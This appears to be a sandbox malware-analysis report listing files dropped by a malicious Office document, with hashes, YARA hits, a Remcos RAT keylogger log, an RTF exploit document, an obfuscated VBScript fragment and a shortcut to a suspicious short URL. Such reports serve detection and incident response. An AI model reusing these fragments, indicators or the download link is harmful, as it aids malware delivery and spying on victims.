                    Preview:{. "geoplugin_request":"8.46.123.33",. "geoplugin_status":200,. "geoplugin_delay":"1ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7123",. "geoplugin_longitude":"-74.0068",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

                    C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\screensimplethingstohandlecream[1].gif

                    Download File
                    Process:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                    File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                    Category:dropped
                    Size (bytes):414450
                    Entropy (8bit):3.584852358792161
                    Encrypted:false
                    SSDEEP:3072:3HGOwf9YFlhNe4VTdRnTT8w4TWlrqivBgoWpuV3d/S7GpqrsomlkjiveR4nV:Zwf9YFJrqA
                    MD5:91143DE27AED4B3AE7741994BC065FAA
                    SHA1:85DFA644D5397B58383C94A4A898484A7FA5B8CE
                    SHA-256:63062215F38FDE4985340EC9F4FB8746320D830BE8E0C534AB3FBAE7D3E89F29
                    SHA-512:E8CADD0FAAB189CF64253D2D7EAEA5485224DB55958A842917696F418E8F1D18349ED8F6F6BF1BC916D646E3BAAA7E50C06F86094E30F30C619F3975473D22B2
                    Malicious:false
                    Preview:..d.i.m. .m.o.r.u.l.a. .....m.o.r.u.l.a. .=. .r.o.m.p.e.n.t.e.....m.o.n.o.p.s.o.(.".g.a.n.d.u.m.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".m.u.c.u.n.h.a.m.b.a.m.b.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".x.a.j.a.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".i.n.d.o.c.i.l.i.d.a.d.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".X._.H.e.l.p.U.r.i.s._.0.0.5._.0._.M.e.s.s.a.g.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".g.a.s.s.a.b.a.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".e.n.c.o.v.i.l.a.r.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".X._.H.e.l.p.U.r.i.s._.0.0.8._.0._.M.e.s.s.a.g.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".X._.H.e.l.p.U.r.i.s._.0.0.9._.0._.M.e.s.s.a.g.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".X._.H.e.l.p.U.r.i.s._.0.1.0._.0._.M.e.s.s.a.g.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".L._.H.e.l.p.U.r.i.s._.0.1.1._.0._.M.e.s.s.a.g.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".L.

                    C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2731F285.emf

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                    File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                    Category:dropped
                    Size (bytes):3143392
                    Entropy (8bit):4.019497542119452
                    Encrypted:false
                    SSDEEP:24576:bsoeaN3YwCKWZ1yw+Uv+at3wwKuWh1Owe:IoeaN3YwYZ1ywhv+at3wwkh1Owe
                    MD5:E3339EDEB9611D87183E0C5F58A76B20
                    SHA1:9D45B415CC06B229AA249FB36EC8C73EA2917765
                    SHA-256:1FFB7FACE4A1D0BB005B15030629BFB2FEAA240611D5744F670D8A058639BB37
                    SHA-512:3BB916C81ADDBB9AE48FC635555AD40DD542DFF2B274012FC91389997F509574DFBAE872C5AC6288C70F03090D4620F353DB261B902DA826DF12F6CE13C07043
                    Malicious:false
                    Preview:....l...........u................D...`.. EMF....../.....+.......................@...........................F...,... ...EMF+.@..................`...`...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...................................................#..."...........!...................................................#..."...........!...................................................#..."...........!...................................................#...'................3f.....%....................3f.....................................L...d.......R.......c.......R...........!..............?...........?................................'.......................%...........(.......................L...d...................................!..............?...........?................................'...

                    C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\37AC7EBC.emf

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                    File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                    Category:dropped
                    Size (bytes):2990572
                    Entropy (8bit):3.9089711610489184
                    Encrypted:false
                    SSDEEP:12288:Vs1+0PI5R32GnjPjIwcusrwvsWXKcnXfxpMZacUkRaN7Hjo1PWw2D8dt3iGnjPjs:Vsg0OR30wOSKx1Ow2at3wwKuWh1OwD
                    MD5:6A58988E654F9DEB43F447925CA88025
                    SHA1:0AE9F96C505AB4BA8971387EA267CC388AF27154
                    SHA-256:55E078EF653C370C775E781979C90F09D577FC064B9667A12C38927316DEB454
                    SHA-512:B79538400913B8DDF79CC45C4170055E97C9D7FD15F0FCC9C0A207DB96A0B5AD8DA790D99C410822D9C364EB90424A4DF79A2A018B13CB07B1D109A6045BB3EB
                    Malicious:false
                    Preview:....l...........Q...r...........QN...a.. EMF.....-.........................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!..............................................._...s..."...........!..............................................._...s..."...........!..............................................._...s..."...........!..............................................._...s..."...........!..............................................._...s...'...............ZZZ.....%...................ZZZ.....................................L...d...............p...............q...!..............?...........?................................'...............2.......%...........(...................2...L...d.......p...............p.......

                    C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\804CFF94.emf

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                    File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                    Category:dropped
                    Size (bytes):39820
                    Entropy (8bit):3.095893137556066
                    Encrypted:false
                    SSDEEP:192:oKpfbDIYOPY/36IxxdBXm7AE0/YiGgnAIodTU6XldCESqbE3HcC3F6lI:VXOw/qIxrBrE0/b5nAIo26XldZdAf3g2
                    MD5:D411AED1F661CCEAD6FA145CBD40EA72
                    SHA1:E0AC478507B0561A4E0732999519D0262B673465
                    SHA-256:AD636DEA3882E92C42628729836C90407A5C3AC3F1E88FF13BD7D5D3758C8BC5
                    SHA-512:36D469EEDD7156BC2C423DC009091EF32BBEBB01AA5071E996BD47923C97CDE308EABCC28F144B731BA65AB289C1444F9E86ACF44E3E8F5BAD46FF3C0B8D03F5
                    Malicious:false
                    Preview:....l...........:...............~@..xW.. EMF................................j.......................{.......F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..............................................<.......%...........%.......................R...p................................@..T.i.m.e.s. .N.e.w. .R.o.m.a.n.........................................................................r.M...........p.!.....h.!.....p.!............. .......h.!.....h.!.....p.!.....G................*..Ax...N..............T.i.m.e.s. .N.e.w. .R.o...F.....6................!.................................................dv......%...........%...........%.......................T...T...........+...q........i.@...@....Z.......L...............<.......P... .ee,...............T...T...,.......W...q........i.@...@,...Z.......L...............<.......P... .ee,...............T...T...X...........q........i.@...@X...Z.......L...............<...

                    C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A30681FE.emf

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                    File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                    Category:dropped
                    Size (bytes):3142308
                    Entropy (8bit):4.023371791871336
                    Encrypted:false
                    SSDEEP:24576:ysNy2o3owCqqY1/wym5Hat3wwKuWh1OwS:ZNy2o3owkY1/wX5Hat3wwkh1OwS
                    MD5:B338F9806A2BCB18CCD39FC11F034B33
                    SHA1:E31D1E463F2FE373535AA85F0B95C75E0B69F4CC
                    SHA-256:277A9778FB43797478D86E78D5F6B968C003DBA5E2F2966ABB96A63D3FD4FB71
                    SHA-512:7E55BCE5AB56C6BF2B87B15B1B3194655A9E4A8141468C8798693D176A5DE5B56E3138D0526365F99401E0E4DC47239C30233E577163C8417EDB1E1686158067
                    Malicious:false
                    Preview:....l...........Q...s...........!?..3X.. EMF....../.....,...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'................3f.....%....................3f.....................................L...d...4...f...7...{...4...f...........!..............?...........?................................'.......................%...........(.......................L...d...............................$...!..............?...........?................................'...

                    C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B138FD5.doc

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    File Type:Rich Text Format data, version 1
                    Category:dropped
                    Size (bytes):99423
                    Entropy (8bit):2.791497690568363
                    Encrypted:false
                    SSDEEP:768:7wD3LgZhLO24H7ZaPXAQm1++7Lkq9+EH0T0Rbu:7s3LgZhLZ4bZ2ADY+H8EHxRy
                    MD5:25A6C39DBC117A7596C857DBEC4E5D93
                    SHA1:7F72C84FB222F0DD96A31E78B34473BDE3E0FC81
                    SHA-256:A0A088DDEFEA91B081CE3EEF407D62A9EBBAB95B010C23D4AFCBAED4896EA61F
                    SHA-512:14B5C53097767E1ABA16CE2E5F25A0C7A66CB1011303BEA0BDDC1D9B08B50A20AEFCE7C87F643721EB7331FCEAFD85E1A24B4DB2F3D6569939008CE1A394B1E6
                    Malicious:true
                    Yara Hits:
                    • Rule: INDICATOR_RTF_MalVer_Objects, Description: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents., Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B138FD5.doc, Author: ditekSHen
                    Antivirus:
                    • Antivirus: Avira, Detection: 100%
                    Preview:{\rtf1............{\mrSp675231630 \=}.{\127717550<?7?]?4)['5*?~@/0.$?5|[%5|<%!/$0!6%5!48-&._+?65[#_.%/4?4../_?)/2#...+$?._4]?&[,?]5%?&??~;(...8.@.>?48&'[:./-<):;1$-64$2?5504?:*_]???%%??6[!//2+5@.5?*250'%0<-^]9'.`(._/3$;.?16?>5/|009?!@.^.8&7!?.%*)!%$.2;8(%@?]_(.]'*5=$11%?(678|..*.~!.?~(=`'.?^@+:#+5$7?7)`.%?'/>|[06>!9^(;+(?.?/82%|`<(9+7~.1?1]@%<2^2/.*^?`_.?[^/0&75#[?+#%5$7#]?41.~2==8'7|3'?2`.$3??^?.4<=%8:]36;):5|7+4*]%,%%!(?82_.?:|$_966?$`[46>7+??..@%:.`?+?83%2&?)-)16;?6,[!=3'7;1]%|?.43=5%^%5~_46>.,`)6$(,%?34,%_%&]*?`!:<9~5-9?;`$>,79%?,)&6'>6)|??)??-0^.;.69.9#/?69[94'4+1[';87#!$^@`2]>_<`355./@|^'46,.~2.[9(+?-?'.1/+?-#6@.<(..??<.,&%*,29/4.+$.=;.55=1!),.?*5~-8_0[662'+?;5?'|0#^/^%@.)?31=9?_:>%.2??'`2_[_.>!@]#!>|:45[?4568~!6.!.&26>9?96]'#[%?$2,.?.=(.*41/.%?,5@`?]2]|(8,#4)@..&(^..]%<=7'(46+_?#[_=^?3;'$~+];?*$[]&?%>*?$(9_2.7?$..+:^-2?!.;35?'.:.~?#:@.7??!2&,--1=15=[:12/11:4|91%~21#<.,.@)3]?03+'#!|*>~7&..~686#]`].)-.>(`=:5<_1*?(?/4_?)###6(/):3*%,$$1:)?.1!'5;+[?[*)'9-/?^620(|<64&@_4?:(9~#9`?]1&[1

                    C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{800AC807-D585-4EB1-AF32-0CED6CF689EF}.tmp

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    File Type:Composite Document File V2 Document, Cannot read section info
                    Category:dropped
                    Size (bytes):16896
                    Entropy (8bit):5.903677995605835
                    Encrypted:false
                    SSDEEP:384:ixPVnQQpXzPPbnQQpXzEPjnQQpXzEPrnQQpXzvPsnQQpXz:8nQQ5nnQQ5EnQQ5snQQ5gnQQ5
                    MD5:FB7FD7F911F7A3C5BB95EB954396B84E
                    SHA1:C53F57124BD003526F1F87C9AEA66CF9CA5353F7
                    SHA-256:5C4C86E50ECBC6A2A4D860A62FDDDB01ED9CF59A59061245DCC63709154B8AB3
                    SHA-512:BB073E20C589B002741B3A7B4A670E17439BB023616545E0B99A734E49F7C6C24984F254939AF757219491BFB68B66E649308F96125392E5A5A458A0A3CAF92D
                    Malicious:true
                    Antivirus:
                    • Antivirus: Avira, Detection: 100%
                    Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                    C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{22AA2DD6-0ACE-4E62-8C50-98366F74EA77}.tmp

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    File Type:data
                    Category:dropped
                    Size (bytes):1024
                    Entropy (8bit):0.05390218305374581
                    Encrypted:false
                    SSDEEP:3:ol3lYdn:4Wn
                    MD5:5D4D94EE7E06BBB0AF9584119797B23A
                    SHA1:DBB111419C704F116EFA8E72471DD83E86E49677
                    SHA-256:4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
                    SHA-512:95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
                    Malicious:false
                    Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                    C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{93267046-3ABA-4A2B-9460-80414608068D}.tmp

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    File Type:data
                    Category:dropped
                    Size (bytes):17408
                    Entropy (8bit):3.616256452086467
                    Encrypted:false
                    SSDEEP:384:Eqz/FXVgwHOF6UdCB1/g5G0SvKw41zdFZ:EcdwF+z4pjZ
                    MD5:EEB4D8BCFAA2AD8CD48C0A38B7DD2D4B
                    SHA1:A951D0D18F4A438309E2AD4B29B1C59258B9CE7F
                    SHA-256:A1082F3CC663BB9D5DB3E80DE3444AD46978DEA24F9E5D4EEC609B9324D93107
                    SHA-512:C4ABFC3C5D00D321BDFC7A38DF54680F82B519445984AFF0939D8A0FF47AFC3F5DC493B7402E9BEB0B6E7368DFB4449C577B14BEA80ADE00EE94AD02D46F5A84
                    Malicious:false
                    Preview:............2.7.7.1.7.5.5.0.<.?.7.?.].?.4.).[.'.5.*.?.~.@./.0...$.?.5.|.[.%.5.|.<.%.!./.$.0.!.6.%.5.!.4.8.-.&..._.+.?.6.5.[.#._...%./.4.?.4...../._.?.)./.2.#.......+.$.?..._.4.].?.&.[.,.?.].5.%.?.&.?.?.~.;.(.......8...@...>.?.4.8.&.'.[.:.../.-.<.).:.;.1.$.-.6.4.$.2.?.5.5.0.4.?.:.*._.].?.?.?.%.%.?.?.6.[.!././.2.+.5.@...5.?.*.2.5.0.'.%.0.<.-.^.].9.'...`.(..._./.3.$.;...?.1.6.?.>.5./.|.0.0.9.?.!.@...^...8.&.7.!.?...%.*.).!.%.$...2.;.8.(.%.@.?.]._.(...].'.*.5.=.$.1.1.%.?.(.6.7.8.|.....*...~.!...?.~.(.=.`.'...?.^.@.+.:.#.+.5.$.7.?.7.).`...%.?.'./.>.|.[.0.6.>.!.9.^.(.;.+.(.?...?./.8.2.%.|.`.<.(.9.+.7.~...1.?.1.].@.%.<.2.^.2./...*.^.?.`._...?.[.^./.0.&.7.5.#.[.?.+.#.%.5.$.7.#.].?.4.1...~.2.=.=.8.'.7.|.3.'.?.2.`...$.3.?.?.^.?...4.<.=.%.8.:.].3.6.;.).:.5.|.7.+.4.*.].%.,.%.%.!.(.?.8.2._...?.:.|.$._.9.6.6.?.$.`.[.4.6.>.7.+.?.?.....@.%.:...`.?.+.?.8.3.%.2.&.?.).-.).1.6.;.?.6.,.[.!.=.3.'.7.;.1.].%.|.?...4.3.=.5.%.^.%.5.~._.4.6.>...,.`.).6.$.(.,.%.?.3.4.,.%._.%.&.].*.?.`.!.:.<.9.~.5.-.9.?.;.`.$.>.,.

                    C:\Users\user\AppData\Local\Temp\4vetc0f5.uvi.ps1

                    Download File
                    Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    File Type:very short file (no magic)
                    Category:dropped
                    Size (bytes):1
                    Entropy (8bit):0.0
                    Encrypted:false
                    SSDEEP:3:U:U
                    MD5:C4CA4238A0B923820DCC509A6F75849B
                    SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                    SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                    SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                    Malicious:false
                    Preview:1

                    C:\Users\user\AppData\Local\Temp\Notepo\logs.dat

                    Download File
                    Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):366
                    Entropy (8bit):3.5503947522171857
                    Encrypted:false
                    SSDEEP:6:6lV2/5YcIeeDAlTVYwSySNombQDyFwfxNa/WAv:6lVcecUwhykn50/W+
                    MD5:974270272C52B8A5A872C8218D67FA40
                    SHA1:D896F2235455E21DE88D776DA5E1FC9DAA137C92
                    SHA-256:6BC596424F8F735C30E97C895F5BEFFF857A26A8A4491AEE7422FC5B0B7F065A
                    SHA-512:84148D7F9277F8E5A0C4CD7D0B7B64053AE0A1902837FF51046EBC0CA14A49A5142CDEC9BDCEACDBE75889E64145D6F49543107E90ADFD808FA1584658B30014
                    Malicious:true
                    Yara Hits:
                    • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\Users\user\AppData\Local\Temp\Notepo\logs.dat, Author: Joe Security
                    Preview:....[.2.0.2.4./.0.7./.2.6. .0.7.:.1.9.:.1.8. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.d.g.4.Z.x. .[.R.e.a.d.-.O.n.l.y.]. .[.C.o.m.p.a.t.i.b.i.l.i.t.y. .M.o.d.e.]. .-. .M.i.c.r.o.s.o.f.t. .W.o.r.d.].........[.M.i.c.r.o.s.o.f.t. .E.x.c.e.l.].........[.N.e.w. .T.a.b. .-. .G.o.o.g.l.e. .C.h.r.o.m.e.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

                    C:\Users\user\AppData\Local\Temp\bhv8C29.tmp

                    Download File
                    Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    File Type:Extensible storage engine DataBase, version 0x620, checksum 0x0b980519, page size 32768, DirtyShutdown, Windows version 6.1
                    Category:dropped
                    Size (bytes):21037056
                    Entropy (8bit):1.1390583100992375
                    Encrypted:false
                    SSDEEP:24576:rO1U91o2I+0mZ5lChHLcGaHqqnEXwPtofJIRH330nW/jMB1emX4UJlNd:rOEXs1LuHqqEXwPW+RHA6m1fN
                    MD5:4857AF96DE439B3FA4A18C4F5366D45F
                    SHA1:B1A2EEDC66552C43AD992E991B5202EE52BBEDC7
                    SHA-256:4144A0550477DCEBD966BF48A446472784D86046B7878B37AA1B429DE3005CD1
                    SHA-512:5FB7C535B1E971BE8AA924BCA19D3B0DA0072979E957CC7ECFD7BFB763836852AC42A0E6C39AB86D2935F663E7FDAB7DD01E896BC8225CC86E4F49CFB395A14F
                    Malicious:false
                    Preview:....... ........................u..............................;:...{..1....|.......................................u..............................................................................................+............................................................................................................................... .......4....{......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                    C:\Users\user\AppData\Local\Temp\g3phgynb.4b0.psm1

                    Download File
                    Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    File Type:very short file (no magic)
                    Category:dropped
                    Size (bytes):1
                    Entropy (8bit):0.0
                    Encrypted:false
                    SSDEEP:3:U:U
                    MD5:C4CA4238A0B923820DCC509A6F75849B
                    SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                    SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                    SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                    Malicious:false
                    Preview:1

                    C:\Users\user\AppData\Local\Temp\lbvlkbmzmwfnyoxgjysjrgc

                    Download File
                    Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    File Type:Unicode text, UTF-16, little-endian text, with no line terminators
                    Category:dropped
                    Size (bytes):2
                    Entropy (8bit):1.0
                    Encrypted:false
                    SSDEEP:3:Qn:Qn
                    MD5:F3B25701FE362EC84616A93A45CE9998
                    SHA1:D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
                    SHA-256:B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
                    SHA-512:98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
                    Malicious:false
                    Preview:..

                    C:\Users\user\AppData\Local\Temp\{AFBFED9D-C440-4B72-AB81-757078734782}

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    File Type:data
                    Category:dropped
                    Size (bytes):131072
                    Entropy (8bit):0.025565602724808192
                    Encrypted:false
                    SSDEEP:6:I3DPcZmPu2kbvxggLRxWmORXv//4tfnRujlw//+GtluJ/eRuj:I3DPYmPu2kbDmvYg3J/
                    MD5:9403308976CCA29DB8DF7DA4D5FAD156
                    SHA1:55C50AC833038A2836D1BC0103F5D54A51F04DBA
                    SHA-256:96FC388EC5D7B6CED8C7E9F6D1DC24DAA745E61EEF6D9DC7228FE0B1F8F3285C
                    SHA-512:D4790FDA5536657E73962A62CA5DC870304E229CD65850E438A245845E2254283A0E3FA74DFDBD748B6AEDAC6ECA3C68ED12EAFE34A20098275936DF1F367516
                    Malicious:false
                    Preview:......M.eFy...z=.."...K..zM...S,...X.F...Fa.q..............................U...]I...(..;$........:.P...K.y.j.e.......................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                    C:\Users\user\AppData\Local\Temp\{D8F0EB8A-2D93-495F-B5CB-70E9F24D1AD8}

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    File Type:data
                    Category:dropped
                    Size (bytes):131072
                    Entropy (8bit):0.025584798712850156
                    Encrypted:false
                    SSDEEP:6:I3DPcvVvxggLRjv5wO/SGkEDRXv//4tfnRujlw//+GtluJ/eRuj:I3DPAZRPkE1vYg3J/
                    MD5:735AFCAE0E518D7E3EAEDA3FB17519A3
                    SHA1:540260F74B797711E6381248AF425B4632182FEB
                    SHA-256:9AA0DC77C6138238C5C7CA0B81FC33993EBFCD84C39E810AFCD5FEC476058FAE
                    SHA-512:FCD624B26298266BD41E78AF7A17AB02120B43D48299A20B7AEF5C1B982130FBB2DFB4F12C70039B1733CBB3C0B9ED270890773A6813153747FCAA674AEB6353
                    Malicious:false
                    Preview:......M.eFy...z..w8.5K.e.....4S,...X.F...Fa.q.............................h....O................./.y.J..dk..s.....................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                    C:\Users\user\AppData\Local\Temp\~DF12C089FB471A9923.TMP

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                    File Type:Composite Document File V2 Document, Cannot read section info
                    Category:dropped
                    Size (bytes):534528
                    Entropy (8bit):7.9289840045422615
                    Encrypted:false
                    SSDEEP:12288:HGsQzXtokaIBADj2FRuQ41c8GKtU/R1kpiXZ+R:49okZeGlKt0R1kIXZ+
                    MD5:7262E3E5F8E875811FD46B1A861E7097
                    SHA1:908581A29C394DB141684457C82E42FACDB889E9
                    SHA-256:0E37D38185758E0D7D1FBBCC7D4A844D772DE22094D14EA207E12FE2DA9B4480
                    SHA-512:B35AE8B3D80366D20677C24EF0F01353669864B2DFCF4766A2862457AD0E9594722CD16FE02D4153C3B1975CDDD1BF640303A1574C623DBC5DDF6230BCF37B85
                    Malicious:false
                    Preview:......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

                    C:\Users\user\AppData\Local\Temp\~DF46F34CCCE4D30395.TMP

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                    File Type:data
                    Category:dropped
                    Size (bytes):544768
                    Entropy (8bit):7.842639896433635
                    Encrypted:false
                    SSDEEP:12288:wGsQzXtokaIBADj2FRuQ41c8GKtU/R1kpiXZ+R:19okZeGlKt0R1kIXZ+
                    MD5:DD8A78833579B3F58801968B53C29644
                    SHA1:5125F1FDD392FB44CB6E9DC941DBEE6295FCAA3C
                    SHA-256:40DD1F42F33C4FB5DA3F1576512377D40493DD2B5727E5C34E5C0DB367EE6EB5
                    SHA-512:F34D1178387B3DCA29E4F5F0A90F67C591F67EFDF50AABDD54C2A54586AE441C81CDE5422F2F375F2F3AECBC5431071880D839D352E2B6D9B114576313E3EB89
                    Malicious:false
                    Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                    C:\Users\user\AppData\Local\Temp\~DFE21502E68C1011BB.TMP

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                    File Type:data
                    Category:dropped
                    Size (bytes):512
                    Entropy (8bit):0.0
                    Encrypted:false
                    SSDEEP:3::
                    MD5:BF619EAC0CDF3F68D496EA9344137E8B
                    SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                    SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                    SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                    Malicious:false
                    Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                    C:\Users\user\AppData\Local\Temp\~DFEE2836C3B3E10B8B.TMP

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                    File Type:data
                    Category:dropped
                    Size (bytes):512
                    Entropy (8bit):0.0
                    Encrypted:false
                    SSDEEP:3::
                    MD5:BF619EAC0CDF3F68D496EA9344137E8B
                    SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                    SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                    SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                    Malicious:false
                    Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                    C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\dg4Zx.url

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    File Type:MS Windows 95 Internet shortcut text (URL=<http://tny.wtf/dg4Zx>), ASCII text, with CRLF line terminators
                    Category:dropped
                    Size (bytes):46
                    Entropy (8bit):4.577697282049904
                    Encrypted:false
                    SSDEEP:3:HRAbABGQYm/3LcmWiU:HRYFVm/3LO/
                    MD5:FD8D504F28D379F61B11F1F9B2C01D45
                    SHA1:A1C2054D8511A77D0F460ED018847CAEDB268302
                    SHA-256:A8F4349F2DDE56D3243C170862D539C15CB8CA94920DFFC05A22E62155A3BCD3
                    SHA-512:9AAC668FD06EF67F44F632582D59375841106BAC7419351D8257ABA4820F0FCB090736ABADBA4E2A81F7A4018276A895DC323F5C623AF7401E9DFFD7EA322EDD
